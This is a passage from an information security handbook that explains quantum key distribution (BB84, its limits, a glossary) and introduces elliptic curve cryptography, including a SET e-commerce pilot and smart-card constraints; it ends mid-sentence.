that they collapse to a single random state only when they are observed. a
For more on this, see John Gribbin’s In Search of Schrödinger’s Cat: Quantum Physics and Reality, Toronto: Bantam Books, 1994. Source: Addison, TX: Entrust (www.entrust.com/resources/whitepapers.cfm).
376
Information Security Management Handbook
Principle
Eve
The value of each bit is encoded on the property of a photon, its polarization for example. The polarization of a photon is the oscillation direction of its electric field. It can be, for example, vertical, horizontal, or diagonal (+45° and –45°).
Bob
Alice
Alice and Bob agree that: “0” = “1” =
or or
A filter can be used to distinguish between horizontal and vertical photons; another one between diagonal photons (+45° and –45°). When a photon passes through the correct filter, its polarization does not change.
When a photon passes through the incorrect filter, its polarization is modified randomly. or
1 For each key bit, Alice sends a photon, whose polarization is randomly selected. She records these orientations. 2 For each incoming photon, Bob chooses randomly which filter he uses. He writes down its choice as well as the value he records. If Eve tries to spy on the photon sequence, she modifies their polarization. 3 After all the photons have been exchanged, Bob reveals over a conventional channel (the phone, for example) to Alice the sequence of filters he used. If Eve listens to their communication, she cannot deduce the key. 4 Alice tells Bob in which cases he chose the correct filter.
or 5 Alice and Bob now know in which cases their bits should be identical — when Bob used the correct filter. These bits are the final key. or
or
6 Finally, Alice and Bob check the error level of the final key to validate it.
FIGURE 30.1 Quantum cryptography. (From IdQuantique, A Quantum Leap for Cryptography. Geneva: IdQuantique, p. 4 [www.idquantique.com/products/files/clavis-white.pdf].) Confidentiality
Integrity
Interception
Modification
Are my communications private?
Has my communication been altered?
Authentication
Nonrepudiation
Fabrication Who am I dealing with?
FIGURE 30.2 Four objectives of cryptography.
Not Sent
Claims
Not Received
Who sent/received it and when?
377
An Overview of Quantum Cryptography
Plaintext
Encryption
Ciphertext
Decryption
Plaintext
FIGURE 30.3 Single-key symmetric cryptography.
The two basic forms of cryptography are symmetric and asymmetric. Symmetric cryptography is the oldest form of cryptography, where a single key is used both for encryption and decryption. Figure 30.3 shows how a single key is used within symmetric cryptography to encrypt the plaintext. Both the party encrypting the data and decrypting the data share the key. While effective, the difficulty with symmetric cryptography is that of key management. With symmetric cryptography, as the number of users increases, the number of keys required to provide secure communications among those users increases rapidly. For a group of n users, we must have a total of 1/2(n2 – n) keys to communicate. The number of parties (n) can increase to a point where the number of symmetric keys becomes unreasonably large for practical use. This is known as the n2 problem. Table 30.3 shows how many keys can be required. For 1000 users (which is a very small number in today’s distributed computing environments), an unmanageable 499,500 keys are required to share communications. The key management problem created the need for a better solution, which has arrived in the form of asymmetrical or public-key cryptography. Public-key cryptography is a form of encryption based on the use of two mathematically related keys (the public key and the private key) such that one key cannot be derived from the other. The public key is used to encrypt data and verify a digital signature, and the private key is used to decrypt data and digitally sign a document. The five main concepts of public-key cryptography are: • Users publish their public keys to the world but keep their private keys secret. • Anyone with a copy of a user’s public key can encrypt information that only the user can read, even people the user has never met. • It is not possible to deduce the private key from the public key. • Anyone with a public key can encrypt information but cannot decrypt it. • Only the person who has the corresponding private key can decrypt the information. Figure 30.4 shows how asymmetric cryptography is used to encrypt the plaintext. The parties encrypting the data and decrypting the data use different keys.
Information Security Management Handbook Private Key
Plaintext
Encryption
Public Key
Ciphertext
Decryption
Plaintext
FIGURE 30.4 Asymmetric cryptography.
The primary benefit of public-key cryptography is that it allows people who have no preexisting security arrangement to exchange messages securely. The need for sender and receiver to share secret keys via a secure channel is eliminated; all communications involve only public keys, and no private key is ever transmitted or shared. It should be noted that an intrinsic flaw with public-key cryptography is that it is vulnerable to a largescale brute force attack. In addition, because it is based on hard mathematics, if a simple way to solve the mathematical problem is ever found, then the security of public-key cryptography would be immediately compromised. From a mathematical perspective, public-key cryptography is still not provably secure. This means that algorithms such as RSA (which obtains its security from the difficulty of factoring large numbers) have not been proven mathematically to be secure. The fact that it is not a proven system does not mean that it is not capable, but if and when mathematicians comes up with a fast procedure for factoring large integers, then RSA-based cryptosystems could vanish overnight. From a security functionality perspective, symmetric cryptography is for the most part just as strong as asymmetric cryptography, but symmetric is much quicker. Where asymmetric shines is in solving the key management issues. In the absence of key management issues, there is no compelling reason to use asymmetric cryptography.
Quantum Mechanics and Quantum Theory Two observations about quantum mechanics are notable. Nobel prize-winning physicist Richard Feynman stated that, “Nobody understands quantum theory,” and fellow physicist Niels Bohr noted decades earlier that, “If quantum mechanics hasn’t profoundly shocked you, you haven’t understood it yet.” With that in mind, let us attempt to uncover the basic ideas about quantum theory and quantum cryptography. For the most part, classical physics applies to systems that are larger than 1 micron (1 millionth of a meter) in size and was able to work quite handily when attempting to describe macroscopic objects. In the early 1900s, however, a radically new set of theories was created in the form of quantum physics. The quantum theory of matter developed at the turn of the century in response to a series of unexpected experimental results that did not conform to the previously accepted Newtonian model of the universe. The core of quantum theory is that elementary particles (e.g., electrons, protons, neutrons) have the ability to behave as waves. When Albert Einstein developed his general theory of relativity, he showed that space–time is curved by the presence of mass. This is true for large objects, as well as smaller objects encountered in everyday living (see Table 30.2 for more details). Quantum physics describes the microscopic world of subatomic particles such as molecules, atoms, quarks, and elementary particles, whereas classical physics describes the macroscopic world. Quantum physics also differs drastically from classical physics in that it is not a deterministic science; rather, it includes concepts such as randomness. Quantum cryptography deals extensively with photons (see Table 30.1), which are elementary quantum particles that lack mass and are the fundamental light particles. For the discussion at hand, quantum cryptography uses Heisenberg’s uncertainty principle to allow two remote parties to exchange a cryptographic key. One of the main laws of quantum mechanics manifest in Heisenberg’s uncertainty principle
379
An Overview of Quantum Cryptography
- Alice generates random key and encoding bases.
- Bob generates random encoding bases.
- Alice sends the polarized photons to Bob.
- Bob measures photons with random bases.
- Alice announces the polarization for each bit.
- Bob announces which bases are the same as Aliceʼs.
Polarization
Classical Channel
Polarization
Photon Emitter
Quantum Channel
Photon Detector
Classical Cipher
Classical Channel
Classical Cipher
FIGURE 30.5 BB84. (From Sosonkin, M. 2005. Introduction to Quantum Cryptography. New York: Polytechnic University [http://sfs.poly.edu/presentations/MikeSpres.pdf].)
is that every measurement perturbs the system; therefore, a lack of perturbation indicates that no measurement or eavesdropping has occurred. This is a potentially powerful tool within the realm of information security if it can be fully utilized. One of the many applications of quantum mechanics is quantum computing. Standard computers use bits that are set to either one or zero. Quantum computers use electrons spinning either clockwise or counterclockwise to represent ones and zeroes. These quantum bits are known as qubits. If these are in a superposition of states and have not been observed, all the possible states can be evaluated simultaneously and the solution obtained in a fraction of the time required by a standard computer. This generational leap in processing power is a huge threat to the security of all currently existing ciphers, as they are based on hard mathematical problems. The current security of the RSA algorithm would be eliminated. The era of quantum cryptography began in the mid-1970s when researchers Charles Bennett at IBM and Gilles Brassard at the University of Montreal published a series of papers on its feasibility. They displayed the first prototype in 1989. In 1984, they created the first and, to date, best-known quantum cryptographic protocol which is known as BB84. Figure 30.5 demonstrates how BB84 carries out a quantum cryptographic key exchange.
Quantum Computing Versus Quantum Cryptography It should be noted that quantum computing and quantum cryptography are two discrete areas sharing a common term. Quantum computing is still in the theoretical state, but quantum cryptography is a functional, commercial solution. A quantum computer is a theoretical computer based on ideas from quantum theory; theoretically, it is capable of operating nondeterministically. According to the RSA Crypto FAQ,1 quantum computing is a new field in computer science that has been developed in concert with the increased understanding of quantum mechanics. It holds the key to computers that are exponentially faster than conventional computers (for certain problems). A quantum computer is based on the idea of a quantum bit or qubit. In classical computers, a bit has a discrete range and can represent either a zero state or a one state. A qubit can be in a linear superposition of the two states; hence, when a qubit is measured, the result will be zero with a certain probability and one with the complementary probability. A quantum register consists of n qubits. Because of superposition, a phenomenon known as
380
Information Security Management Handbook
TABLE 30.4 Comparison between QKD and Public/Private Key Protocols Quantum Key Distribution
Pro/Con
Public/Private Key
Pro/Con
Requires dedicated hardware and communication lines Mathematically proven secure based on basic physics laws
Con
Pro
Security is based on basic principles; does not require changes in future Will still be secure even when a quantum computer is built Very expensive Still young and in development Works only at limited distances and only with (direct) optical fibers Bit rate for key creation still low for some kinds of applications, but it will improve soon (when technical problems are solved)
Pro
Can be implemented in software; very portable Mathematically undecided; based on mathematical problems for which an easy solution is not known (but could be discovered) Requires using longer private and public keys as computer power increases Can be broken by a quantum computer, when and if one is built Affordable by anyone Extensively tested and deployed Works at any distance and with any kind of network connection Requires considerable amount of computing power, which is not a problem with data such as normal secret keys but not practical with larger data Cannot be used with one-time pad
Can be used with one-time pad, the only mathematically proven secure cryptographical algorithm
Pro
Pro Con Con Con ?
Pro
Con
Con Con Pro Pro Pro ?
Con
Source: Pasquinucci, A. 2004. Quantum Cryptography: Pros and Cons. Lecco, Italy: UTTI.IC (http://www.ucci.it/en/qc/ whitepapers/).
quantum parallelism allows exponentially many computations to take place simultaneously, thus vastly increasing the speed of computation. It has been proven that a quantum computer will be able to factor and compute discrete logarithms in polynomial time. Unfortunately, the development of a practical quantum computer is still decades away.
Quantum Cryptography Versus Traditional Cryptography A fundamental difference between traditional cryptography and quantum cryptography is that traditional cryptography primarily uses difficult mathematical techniques (such as integer factorization in RSA) as its fundamental mechanism. Quantum cryptography, on the other hand, uses physics to secure data. Whereas traditional cryptography stands on a foundation of strong math, quantum cryptography has a radically different premise in that the security should be based on known physical laws rather than on mathematical problems (see Table 30.4). Quantum cryptography, also known as quantum key distribution or (QKD), is built on quantum physics. Perhaps the most well-known aspect of quantum physic is the uncertainty principle of Werner Heisenberg, which states that we cannot know both the position and momentum of a particle with absolute accuracy at the same time. Specifically, quantum cryptography is a set of protocols, systems, and procedures that make it possible to create and distribute secret keys. Quantum cryptography can be used to generate and distribute secret keys, which can then be used together with traditional cryptography algorithms and protocols to encrypt and transfer data. It is important to note that quantum cryptography is not used to encrypt data, transfer encrypted data, or store encrypted data. As noted early, the need for asymmetric key systems arose from the issue of key distribution. The quandary is that it is necessary to have a secure channel to set up a secure channel. Quantum cryptography solves the key distribution problem by allowing the exchange of a cryptographic key between two remote parties with complete security as dictated by the laws of physics. When the key exchange takes place, conventional cryptographic algorithms are used. For that reason, many prefer the term quantum key distribution as opposed to quantum cryptography.
An Overview of Quantum Cryptography
381
The following is a basic and overly simplistic explanation of how quantum cryptography can be used in a commercial setting: • Two parties need to exchange data electronically in a highly secure manner. • They choose standard cryptography algorithms, protocols, systems, and transport technologies to exchange the data in an encrypted form. • They use a quantum cryptography channel to generate and exchange the secret keys required by the algorithms. • They use the secret keys generated by quantum cryptography and the classical algorithms to encrypt the data. • They exchange the encrypted data using the chosen classical protocols and transfer technologies. Within quantum cryptography are two distinct channels. One channel is used for the transmission of the quantum key material via single photon light pulses; the other channel carries all message traffic, including the cryptographic protocols, encrypted user traffic, and more. According to the laws of quantum physics, when a photon has been observed, its state changes. This makes quantum cryptography ideal for security purposes, because when someone tries to eavesdrop on a secure channel it will cause a disturbance in the flow of the photons that can be easily identified to provide extra security. Quantum algorithms are orders of magnitude better than current systems. It is estimated that quantum factorization can factor a number a million times longer than any used for RSA in a millionth of the time. In addition, it can crack a Data Encryption Standard (DES) cipher in less than four minutes! The increased speed is due to the superposition of numbers. Quantum computers are able to perform calculations on various superpositions simultaneously, which creates the effect of a massive parallel computation.
Quantum Key Generation and Distribution One current use of quantum cryptography is for key distribution. Because it is based on quantum mechanics, the keys generated and disseminated using quantum cryptography have been proven to be completely random and secure. The crypto keys are encoded on an individual photon basis, and the laws of quantum mechanics guarantee that an eavesdropper attempting to intercept even a single photon will permanently change the information encoded on that photon; therefore, the eavesdropper cannot copy or even read the photon and the data on it without modifying it. This enables quantum cryptography to detect this type of attack. Before the advent of a public-key infrastructure, the only way to distribute keys securely was via trusted courier or some physical medium (keys on a floppy disk or CD-ROM). Much of the security of publickey cryptography is based on one-way functions. A mathematical one-way function is one that is easy to compute but difficult to reverse; however, reversing a one-way function can indeed be done if one has adequate time and computing resources. The resources necessary to crack an algorithm depend on the length of the key, but with the advent of distributed computing and increasing computer speeds this is becoming less of an issue. In the late 1970s, the inventors of the RSA algorithm issued a challenge to crack a 129-bit RSA key. They predicted at the time that such a brute force attack would take roughly 40 quadrillion years, but it did not take quite that long. By 1994, a group of scientists working over the Internet solved RSA-129. In essence, the security of public keys would quickly be undermined if there was a way to quickly process the large numbers. Quantum cryptography has the potential to solve this vexing aspect of the key distribution problem by allowing the exchange of a cryptographic key between two remote parties with absolute security guaranteed by the laws of physics (again, if the keys can be kept secret, then the underlying security is vastly improved). Quantum key distribution exploits the fact, as mentioned earlier, that according to quantum physics the mere fact of observing a system will perturb it in an irreparable way. The simple
382
Information Security Management Handbook
act of reading this article alters it in a way that cannot be observed by the reader. Although this alteration cannot be observed at the macroscopic level, it can be observed at the microscopic level. A crucial factor is that it is provably impossible to intercept the key without introducing perturbations. This characteristic has vast value to cryptography. If a system encodes the value of a bit on a quantum system, any interception will automatically create a perturbation due to the effect of the observer. This perturbation then causes errors in the sequence of bits shared by the two endpoints. When the quantum cryptographic system finds such an error, it will assume that the key pair was intercepted and then create a new key pair. Because the perturbation can only be determined after the interception, this explains why to date quantum cryptography has been used to exchange keys only and not the data itself. What does it mean in practice to encode the value of a digital bit on a quantum system?2 In telecommunications, light is routinely used to exchange information. For each bit of information, a pulse is emitted and sent down an optical fiber to the receiver where it is registered and transformed back into an electronic form. These pulses typically contain millions of particles of light, called photons. In quantum cryptography, one can follow the same approach, with the only difference being that the pulses contain only a single photon. A single photon represents a very tiny amount of light (when reading this article, your eyes are registering billions of photons every second) and follows the laws of quantum physics. In particular, it cannot be split in half. This means that an eavesdropper cannot take half of a photon to measure the value of the bit it carries, while letting the other half continue on its course. To obtain the value of the bit, an eavesdropper must detect the photon which will affect the communication and reveal its being observed.
Quantum Cryptography Versus Public-Key Cryptography In many ways, quantum cryptography and public-key cryptography are similar. Both address the fundamental problem of creating and distributing keys to remote parties in a highly secure manner; they both solve the key distribution problem encountered by any two entities wishing to communicate using a cryptographically protected channel. But, quantum cryptography obtains its fundamental security from the fact that each qubit is carried by a single photon, and these photons are altered as soon as they are read, which makes it impossible to intercept messages without being detected.
Quantum Cryptography and Heisenberg’s Uncertainty Principle The foundation of quantum cryptography lies in the Heisenberg uncertainty principle, which states that certain pairs of physical properties are related in such a way that measuring one property prevents the observer from simultaneously knowing the value of the other. This law, put forward in 1927 by German physicist Werner Heisenberg, suggests that the mere act of observing or measuring a particle will ultimately change its behavior. At the macroscopic levels, we do not notice this occurring. Under the laws of quantum physics, a moving photon has one of four orientations; vertical, horizontal, or diagonal in opposing directions. Quantum cryptographic devices emit photons one at a time, and each photon has a particular orientation. Photon sniffers are able to record the orientation of each photon, but, according to Heisenberg’s uncertainty principle, doing so will change the orientation of some of the particles which in turn will warn both the sender and the recipient that their channel is being monitored. Where Heisenberg’s uncertainty principle is of huge benefit to information security is that, if quantum cryptography is used to send keys via photons then perfect encryption is assured. If it is found that the keys have been observed and are therefore at risk, then it is a simple matter to create a new set of keys. In traditional key exchange, it is not possible to know if a key has been tampered with to the same degree of certainty as with quantum cryptography. Many of the quantum cryptography proponents and vendors publicly state that quantum cryptography provides absolute security; however, for those with a background in cryptography, the only provably secure cryptosystems are one-time pads.3 Can quantum cryptography really create a scheme that provides
An Overview of Quantum Cryptography
383
absolute security? Traditional cryptographic schemes, such as RSA, are based on hard mathematical problems; quantum cryptography is based on the laws of physics and Heisenberg’s uncertainty principle, which would seem to provide absolute security.
Disadvantages of Quantum Cryptography Like everything else in the world of information security, quantum cryptography is no panacea. The main drawbacks of quantum cryptography are: • • • • • • •
It is slow. It is expensive. It works only over relatively short distances. It is new and unproven. It requires a dedicated connection. It lacks digital signatures. The speed of the actual key exchange is roughly 100 kbps.
Also, because it must transfer the actual physical properties of photons, it only works over relatively short distances. Current limitations now mean that the cryptographic devices can be a maximum of 75 miles apart. The reason for the short distance is that optical amplification destroys the qubit state. A repeater cannot be used to extend the distance because the repeater would change the state of the photon. In addition, attenuation of the fiber-optic links would degrade the quality of the signal and ultimately make the transmitted photon unreadable. The photon emitters and detectors themselves are currently far from perfect and can cause errors that often require retransmission of the keys. The signals themselves are currently a significant problem for those implementing quantum cryptography, due to the presence of noise in all of the communications channels, most prominently in the optical fibers themselves. As the systems evolve, however, noise is less likely to be a problem. In order to transmit the photon, both parties must have a live, unbroken, and continuous communications channel between them. Although no quantum routers now exist, research is being conducted on how to build them. The value of a quantum router is that it would enable quantum cryptography to be used on a network. Finally, quantum cryptography today does not have a seamless method for obtaining a digital signature. Quantum digital signature schemes are in development but are still not ready for the commercial environment.
Effects of Quantum Computing and Cryptography on Information Security It is clear that if a functioning quantum computer was to be constructed, it would immediately undermine the security provided by both symmetric-key algorithms and public-key algorithms. Quantum computing would be able to break public-key cryptosystems in inconsequential amounts of time. It is estimated that a 1024-bit RSA key could be broken with roughly 3000 qubits. Given that current quantum computers have less than 10 qubits, public-key cryptography is safe for the foreseeable future, but this is not an absolute guarantee.
Conclusion Quantum cryptography, while still in a nascent state, is certain to have a huge and revolutionary effect on the world of cryptography and secure communications. As of late 2005, quantum cryptography was not in heavy use in the Fortune 1000 community, but it will likely find much greater application in the coming years as it matures and the price drops.
384
Information Security Management Handbook
Glossary of Quantum Physics Terms Entanglement — The phenomenon that two quantum systems that have been prepared in a state such that they interacted in the past may still have some locally inaccessible information in common. Interference — The outcome of a quantum process depends on all of the possible histories of that process. Observable — Anything within a quantum mechanical system that can be observed, measured, and quantitatively defined (e.g., electron spin, polarization). Quanta — Discrete packets or entities in quantum systems; observables in quantum systems tend to vary discretely, not continuously. Superposition — The concept that a quantum system may be simultaneously in any number of possible states at once.
Notes 1. Refer to http://www.rsasecurity.com/rsalabs/node.asp?id=2152. 2. See IdQuantique, A Quantum Leap for Cryptography. Geneva: IdQuantique, p. 4 (www.idquantique.com/products/files/clavis-white.pdf). 3. For more information on why, see http://world.std.com/~franl/crypto/one-time-pad.html.
Additional Resources Ekert, A. 1995. CQC Introductions: Quantum Cryptography. Oxford: Centre for Quantum Computation (www.qubit.org/library/intros/crypt.html). MagiQ. 2004. Perfectly Secure Key Management System Using Quantum Key Distribution. New York: MagiQ Technologies (www.magiqtech.com/registration/MagiQWhitePaper.pdf). Oxford Centre for Quantum Computation, www.qubit.org. Moses, T. and Zuccherato, R. 2005. Quantum Computing and Quantum Cryptography: What Do They Mean for Traditional Cryptography? Entrust White Paper, January 13 (https://www.entrust.com/ contact/index.cfm?action=wpdownload&tp1=resources&resource=quantum.pdf&id=21190). Quantum cryptography tutorial, www.cs.dartmouth.edu/~jford/crypto.html. Sosonkin, M. 2005. Introduction to Quantum Cryptography. New York: Polytechnic University (http:// sfs.poly.edu/presentations/MikeSpres.pdf). Wikipedia, http://en.wikipedia.org/wiki/Quantum_Cryptography.
Cryptography References Kahn, D. 1996. The Codebreakers: The Comprehensive History of Secret Communication from Ancient Times to the Internet. New York: Scribner. Nichols, R. 1998. ICSA Guide to Cryptography. New York: McGraw–Hill. RSA cryptography FAQ, www.rsasecurity.com/rsalabs/faq. Schneier, B. 1996. Applied Cryptography. New York: John Wiley & Sons. Singh, S. 2000. The Code Book: The Science of Secrecy from Ancient Egypt to Quantum Cryptography. Lancaster, VA: Anchor Books.
31 Elliptic Curve Cryptography: Delivering High-Performance Security for E-Commerce and Communications Paul Lambert Elliptic curve cryptography (ECC) provides the highest strength per key bit of any known public-key security technology. The relative strength advantage of ECC means that it can offer the same level of cryptographic security as other algorithms using a much smaller key. ECC’s shorter key lengths result in smaller system parameters, smaller public-key certificates, and, when implemented properly, faster performance with lower power requirements and smaller hardware processors. As a result, ECC is able to meet the security and performance demands of virtually any application. With the increased amount of sensitive information being transmitted wirelessly and over the Internet, information security has become a critical component to many applications. Cryptography in turn has become a fundamental part of the solution for secure applications and devices. Across a variety of platforms, cryptographic technology provides security to a wide range of applications such as electronic commerce, access control, and secure wireless communications. The ongoing challenge for manufacturers, systems integrators, and service providers is to incorporate efficient, cost-effective security into the mobile, high-performance devices and applications that the market demands. While other cryptographic algorithms cannot effectively meet this challenge, ECC’s strength and performance advantages make it an ideal solution to secure Internet commerce, smart card, and wireless applications, as will be demonstrated further on in this chapter.
Understanding the Strong, Compact Security of ECC All public-key cryptosystems are based on a hard one-way mathematical problem. ECC is able to deliver strong security at smaller key sizes than other public-key cryptographic systems because of the difficulty of the hard problem upon which it is based. ECC is one of three different types of cryptographic systems
385
386
Information Security Management Handbook
that are considered to provide adequate security, defined in standards and deployed in today’s applications. Rather than explaining the complete mathematical operation of each of these three systems, this chapter will serve to introduce and compare each system. First, what is meant by a hard or difficult mathematical problem? A mathematical problem is difficult if the fastest known algorithm to solve the problem takes a long time relative to the input size. To analyze how long an algorithm takes, computer scientists introduced the notion of polynomial time algorithms and exponential time algorithms. Roughly speaking, a polynomial time algorithm runs quickly relative to the size of its input, and an exponential time algorithm runs slowly relative to the size of its input. Therefore, easy problems have polynomial time algorithms, and difficult problems have exponential time algorithms. The phrase relative to the input size is fundamental in the definition of polynomial and exponential time algorithms. All problems are straightforward to solve if the input size is very small, but cryptographers are interested in how much harder a problem gets as the size of the input grows. Thus, when looking for a mathematical problem on which to base a public-key cryptographic system, cryptographers seek one that cannot be solved in less than exponential time because the fastest known algorithm takes exponential time. Generally, the longer it takes to compute the best algorithm for a problem, the more secure is a public-key cryptosystem based on that problem. What follows is a discussion of the three different types of cryptographic systems along with an explanation of the hard mathematical problems on which they are based.
RSA and the Integer Factorization Problem The best-known cryptosystem based on the integer factorization problem, RSA, is named after its inventors, Ron Rivest, Adi Shamir, and Len Adleman. Another example is the Rabin–Williams system. The core concept of the integer factorization problem is that an integer p (a whole number) is a prime number if it is divisible only by 1 and p itself. When an integer n is the product of two large primes, to determine what these two factors are we need to find the prime numbers p and q such that: p × q = n. The integer factorization problem, then, is to determine the prime factors of a large number.
DSA and the Discrete Logarithm Problem The Diffie–Hellman key agreement scheme, the grandfather of all public-key cryptography schemes, is based on the discrete log problem. Taher Elgamal first proposed the first public-key cryptographic system that included digital signatures based on this problem. Elgamal proposed two distinct systems: one for encryption and one for digital signatures. In 1991, Claus Schnorr developed a more efficient variant of Elgamal’s digital signature system. The U.S. Government’s Digital Signature Algorithm (DSA), the bestknown of a large number of systems with security based on the discrete logarithm problem, is based on Elgamal’s work. The discrete logarithm problem modulo prime p is defined in terms of modular arithmetic. This problem starts with a prime number p. Then, given an integer g (between 0 and p – 1) and a multiplicand y (the result of exponentiating g), the following relationship exists between g and y for some x: y = gx (mod p). The discrete logarithm problem is to determine the integer x for a given pair g and y: Find x so that gx = y (mod p). Like the integer factorization problem, no efficient algorithm is known to solve the discrete logarithm problem.
ECC and the Elliptic Curve Discrete Logarithm Problem The security of ECC rests on the difficulty of the elliptic curve discrete logarithm problem. As with the integer factorization problem and the discrete logarithm problem, no efficient algorithm is known to solve the elliptic curve discrete logarithm problem. In fact one of the advantages of ECC is that the elliptic curve discrete logarithm problem is believed to be more difficult than either the integer factorization problem or the generalized discrete logarithm problem. For this reason, ECC is the strongest public-key cryptographic system known today.
Elliptic Curve Cryptography
387
FIGURE 31.1 Comparison of security levels.
In 1985, mathematicians Neil Koblitz and Victor Miller independently proposed the elliptic curve cryptosystem, with security resting on the discrete logarithm problem over the points on an elliptic curve. Before explaining the hard problem, a brief introduction to elliptic curves is needed. An elliptic curve defined modulo a prime p, is the set of solutions (x,y) to the equation: y2 = x3 + ax + b (mod p) for the two numbers a and b. This means that y2 has the remainder x3 + ax + b when divided by p. If (x,y) satisfies the above equation, then p = (x,y) is a point on the elliptic curve. An elliptic curve can also be defined over the finite field consisting of 2m (even numbers) elements. This field, referred to as F2m, increases the efficiency of ECC operation in some environments. One can define the addition of two points on the elliptic curve. If P and Q are both points on the curve, then P + Q is always another point on the curve. The elliptic curve discrete logarithm problem starts with selecting a field (a set of elements) and an elliptic curve. (Selecting an elliptic curve consists of selecting values for a and b in the equation y2 = x3 + ax + b.) Then xP represents the point P added to itself x times. Suppose Q is a multiple of P, so that Q = xP for some x. The elliptic curve discrete logarithm problem is to determine x with any given P and Q.
A Comparison of Cryptographic Systems Of the three problems, the integer factorization problem and the discrete logarithm problem both can be solved by general algorithms that run in subexponential time, meaning that the problem is still considered hard but not as hard as those problems that admit only fully exponential time algorithms. On the other hand, the best general algorithm for the elliptic curve discrete logarithm problem is fully exponential time. This means that the elliptic curve discrete logarithm problem is currently considered more difficult than either the integer factorization problem or the discrete logarithm problem. In Figure 31.1, the graph compares the time required to break ECC with the time required to break RSA or DSA for various key sizes using the best-known algorithm. The values are computed in MIPS years. A MIPS year represents the computing time of 1 year on a machine capable of performing 1 million instructions per second. As a benchmark, it is generally accepted that 1012 MIPS years represents
388
Information Security Management Handbook
reasonable security at this time, as this would require most of the computing power on the planet to work for a considerable amount of time. To achieve reasonable security, RSA and DSA need to use a 1024-bit key, while a 160-bit key is sufficient for ECC. The graph in Figure 31.1 shows that the gap between the systems grows as the key size increases. For example, note how the ratio increases with the 300-bit ECC key compared with the 2000-bit RSA and DSA keys. With this background in ECC’s high security relative to small key size, we can explore how ECC benefits today’s leading-edge applications.
Securing Electronic Transactions on the Internet One prominent application that requires strong security is electronic payment on the Internet. When making Internet-based credit card purchases, users want to know that their credit card information is protected, while the merchant wants assurance that the person making the purchase cannot later refute the transaction. Combined with these authentication needs, a secure electronic payment system must operate fast enough to handle consumers’ needs conveniently. It must be capable of handling a high volume of transactions reliably and, simultaneously, be accessible from multiple locations, and be easy to use. ECC can meet all these needs. For example, consider the role ECC plays in securing a recently launched experimental pilot for Internet commerce. The pilot is based on the Secure Electronic Transaction (SET) specification developed to address the requirements of the participants in these Internet transactions. The SET specification is administered by an organization known as Secure Electronic Transaction LLC (SETCo) formed by Visa and MasterCard. The initial specification provided a complex security protocol using RSA for the public-key components. Because the release of the SET 1.0 specification, implementations of the protocol have been increasing worldwide along with the growing consumer confidence in electronic commerce. Vendors and financial institutions have proposed a number of enhancements to the protocol to further its appeal. In an ongoing effort to explore ways to improve the SET specification, an experimental pilot program was launched in July 1998 that ran until September 1998. A consortium of players joined together to implement some exciting leading-edge technologies for use with the SET protocol including ECC, chip cards, and PCI cryptographic hardware. During the pilot, up to 200 selected participants received a smart card, which was a Zions Bank MasterCard with an embedded microprocessor, along with a SET software wallet and a Litronics card reader. These participants shopped at the U.S. Department of Treasury’s Bureau of Engraving and Printing Website and were assured that their transactions were protected.
Pilot Operation 1. 2. 3. 4.
Cardholder has certificate request and receipt. Cardholder visits Web site at www.bep.treas.gov, selects goods, and initiates payment. Certificates and digital certificates are exchanged. Purchase order and digital signatures are sent via the Internet to the MasterCard payment gateway. Both parties are authenticated; data is decrypted and reformatted. 5. The data is sent via leased lines to Global Payment Systems (GPS) in Atlanta. 6. GPS sends reformed credit card information and purchase data over MasterCard’s private BankNet leased line network to Zions Bank. 7. Zions debits cardholder account and issues payment to the Bureau’s account via its acquiring bank, Mellon Bank. As represented by Figure 31.2, upon receiving the card and reader, the cardholder applies online for a digital certificate with the ECC smart-card-enabled GlobeSet Wallet through Digital Signature Trust Company (DST). DST issues certificates on behalf of Zions Bank using GlobeSet’s ECC-enabled CA. The public key is securely sent to DST where a certificate is created and sent back to the cardholder via the Internet. The certificate is stored on the smart card for future use.
Elliptic Curve Cryptography
389
FIGURE 31.2 Experimental SET™ pilot.
Procedure The shopper visits the Bureau’s Website at www.bep.treas.gov and selects an item to purchase with his or her Zions Bank MasterCard. The ECC-enabled GlobeSet POS (point of sale) submits a SET wake-up message to the wallet, and the cardholder initiates a transaction by inserting his or her card into the Litronics reader. All sensitive communication between the two parties is encrypted for privacy and the data is digitally signed for integrity and nonrepudiation according to the SET specification. The purchase order and accompanying information are sent via the Internet through the merchant to the ECC-enabled GlobeSet payment gateway at MasterCard, also employing certificates, signatures, and encryption. The gateway decrypts the data, authenticates both parties, and reformats the data. The data is sent over MasterCard’s private BankNet leased-line network to receive payment authorization from Zions Bank, which debits the cardholder’s MasterCard account and issues payment to the Bureau through its acquiring bank, Mellon Bank. Cardholders receive their merchandise via the U.S. Postal Service in the usual manner. Implemented end-to-end within an algorithm coexistent system, ECC is an enabling technology adding performance and cost advantages to SET as demonstrated in this pilot. Improving Performance A comprehensive benchmarking process comparing the performance of ECC and RSA was completed at GlobeSet and audited by a team from SETCo. Improved performance is especially desirable for banks and vendors because cryptographic processing is frequently a bottleneck that can be cleared only with increased hardware costs. In preliminary software-only benchmark tests, ECC demonstrated a positive and significant performance advantage, with overall cryptographic processing overhead reduced by 73 percent. ECC is around 40 times faster than RSA on the payment gateway, which is the SET component most prone to bottlenecks. Signing alone is more than 100 times faster with ECC on this component. Increasing Cardholder Security Smart cards offer a higher level of security than software-only-based digital wallets because a user’s private key and certificate can be stored on the card. As a cryptographic hardware token, smart cards provide stronger user authentication and nonrepudiation than software. Their use translates into lower risk and less fraud for banks, merchants, and consumers.
390
Information Security Management Handbook
FIGURE 31.3 The smart card.
Reducing the Cost of Smart Card Deployment Smart cards (Figure 31.3) are small, portable, tamper-resistant devices providing users with convenient storage and processing capability. As a result, smart cards have been proposed for use in a wide variety of applications such as electronic commerce, identification, and healthcare. For many of these proposed applications, cryptographic security is essential. This requirement is complicated by the fact that smart cards need to be inexpensive in order to be practical for widespread use. The problem is not how to implement cryptography on a smart card but how to do so efficiently and cost-effectively. The smart card is amenable to cryptographic implementations for several reasons. The card contains many security features that enable the protection of sensitive cryptographic data, providing a secure environment for processing. The protection of the private key is critical; to provide cryptographic services, this key must never be revealed. The smart card protects the private key and many consider the smart card to be an ideal cryptographic token; however, implementing public-key cryptography in a smart card application poses numerous challenges. Smart cards present a combination of implementation constraints that other platforms do not: Constrained memory and limited computing power are two of them. The majority of the smart cards on the market today have between 128 and 1024 bytes of RAM, 1 and 16 kb of EEPROM, and 6 and 16 kb of ROM with the traditional 8-bit CPU typically clocked at a mere 3.57 MHz. Any addition to memory or processing capacity increases the cost of each card because both are extremely cost sensitive. Smart cards are also slow transmitters, so to achieve acceptable application speeds data elements must be small (to limit the amount of data passed between the card and the terminal). While cryptographic services that are efficient in memory usage and processing power are 